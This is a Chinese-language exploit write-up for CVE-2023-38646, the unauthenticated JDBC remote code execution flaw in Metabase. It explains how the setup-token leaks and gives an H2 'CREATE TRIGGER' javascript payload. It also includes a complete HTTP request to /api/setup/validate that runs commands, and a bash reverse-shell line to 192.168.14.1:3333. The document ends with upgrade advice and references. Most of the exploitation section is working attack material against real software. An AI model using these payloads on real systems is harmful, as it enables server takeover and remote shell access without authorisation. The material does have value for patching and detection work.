CVE-2023-38646 Metabase未授权JDBC远程代码执行漏洞
0.43.0.0 <= Metabase < 0.46.6.1
1.43.0.0 <= Metabase Enterprise < 1.46.6.1
1.简介
Metabase是一款开源的数据分析和可视化工具,旨在帮助用户轻松地探索、分析和可视化数据。它提供了一个直观易用的用户界面,允许非技术人员通过简单的操作来创建和分享数据报表、图表和查询。
在其0.46.6版本及以前,存在未授权JDBC远程代码执行漏洞。
2.环境搭建
docker直接拉取镜像:
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
无需额外的配置即可复现漏洞
3.漏洞分析
未授权获取token
在Metabase 进行安装时,存在一个特殊的令牌setup-token
,按照官方预设的流程,一般来说其只能存在一次,在安装结束之后便会清除,但事实并非如此,在2022 年 1 月commit中,官方删除了 在设置 Metabase 后删除设置令牌的重要操作。
这将导致未经身份验证的用户可以通过以下两种方法访问setup-token
:
- 查看索引/登录页面的 HTML 源代码并发现它嵌入在 JSON 对象中
- 查看
/api/session/properties
获取到setup-token
之后,就可以调用设置JDBC的接口了,而本次漏洞就存在于JDBC
JDBC RCE
看一下漏洞点,在Metabase安装时会调用 /api/setup/validate 来对JDBC连接信息进行连接校验,此时需要setup-token
,我们可未授权获取
打开安装界面,可以看到其是支持H2数据库的,且支持自定义连接参数
H2数据库的JDBC URL中支持INIT配置 , INIT 这个参数表示在连接H2数据库时,支持执行一条初始化命令。其中CREATE ALIAS和CREATE TRIGGER支持让用户自定义函数。
根据pyn3rd师傅分享的Make-JDBC-Attacks-Brillian-Again可以知道,可以通过以下三种方式攻击H2数据库
- RUNSCRIPT FROM远程加载sql文件(需要出网)
- CREATE ALIAS使用Groovy替代原生Java来定义用户函数(需要Groovy依赖)
- CREATE TRIGGER配合 javascript 引擎构建代码执行
我们这里采用第三种方法,无需出网和额外依赖即可使用,javax.script.ScriptEngineManager
是Java中用于执行脚本的引擎,只要代码的最开头是 //javascript ,就会被认为是JavaScript脚本,并编译和执行。
payload如下
jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON
INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('cmd /c calc.exe')
$$
4.漏洞利用
首先访问/api/session/properties
来获取setup-token
接下来请求/api/setup/validate,设置JDBC链接为payload,并将刚刚获取的setup-token
替换
POST /api/setup/validate HTTP/1.1
Host: 192.168.14.128:3000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 739
{
"token": "d77f5b65-7f1c-4e4d-b264-d9653f41cac7",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;",
"advanced-options": false,
"ssl": true,
"init": "CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('touch /tmp/success')\u000A$$"
},
"name": "an-sec-research-team",
"engine": "h2"
}
}
可以看到,成功执行命令touch /tmp/success
更换payload:bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.14.1/3333 0>&1
成功反弹shell
5.修复建议
升级版本:
metabase >= 0.46.6.1
metabase-enterprise >= 1.46.6.1
参考官方修复通告:
https://www.metabase.com/blog/security-advisory
Reference
https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
https://pyn3rd.github.io/2022/06/06/Make-JDBC-Attacks-Brillian-Again-I/